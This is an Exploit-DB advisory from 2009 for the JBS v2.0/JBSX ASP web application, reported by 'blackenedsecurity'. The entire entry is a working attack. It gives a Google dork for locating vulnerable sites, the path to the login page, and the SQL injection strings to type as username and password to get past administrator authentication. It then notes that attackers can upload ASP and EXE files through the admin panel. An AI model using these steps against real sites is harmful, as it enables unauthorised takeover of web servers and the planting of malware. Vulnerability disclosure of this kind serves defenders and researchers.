JBS 2.0 / JBSX - Administration panel Bypass and File Upload Vulnerability

2009-11-17T00:00:00
ID EDB-ID:10161
Type exploitdb
Reporter blackenedsecurity
Modified 2009-11-17T00:00:00

Description

JBS v2.0 | JBSX - Administration panel bypass and Malicious File Upload Vulnerability. Webapps exploit for asp platform

                                        
                                            # Administration panel bypass and Malicious File Upload Vulnerability
# JBS v2.0 JBSX and other Jiro's Products
# Google Dork: "inurl:/files/redirect.asp"


Go to url files/login.asp

admin 'or' '='    
password 'or' '='

H4ckers may upload malicious files by using upload panel as they have administrator acces
they are able to change settings and upload asp and exe files.


# Bug discovered by blackenedsecurity
# http://blackenedsecurity.blogcu.com
# msn: syberhunter@hotmail.com
# From Turkey =)